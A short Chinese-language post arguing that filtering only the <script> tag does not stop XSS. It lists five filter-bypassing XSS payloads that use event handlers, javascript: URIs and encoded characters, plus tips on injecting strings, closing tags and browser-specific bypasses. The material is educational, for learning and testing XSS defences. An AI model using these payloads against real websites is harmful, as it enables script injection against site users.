正文

「我覺得我們就過濾 script 那個標籤就好，這樣就沒有 XSS 了」
好想放個梗圖

我想你該看看這份 XSS payload
你可以看到不一定是 <script> 才能執行 Js 語法哦！

<img src=xss onerror=alert(1)>
<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<form><isindex formaction="javascript&colon;confirm(1)"

「老大我想把 XSS 這個技能點好點滿!」
我成全你，來玩

• Polyglot XSS
• xss-quiz

「可以給我一些 tips 嗎？」

• 看到可以塞字串的地方，塞惡意字串
• 會印出的地方看有沒有過濾字串或是被編碼
• 如果沒有被編碼，就常是看看能不能閉合前面的標籤
• 瀏覽器會幫你補 tag 所以只要前面繞過後面就比較不重要
• IE Chrome 繞過方式不同，payload 可能不會通用
• Chrome 繞不過，先用 IE 繞看看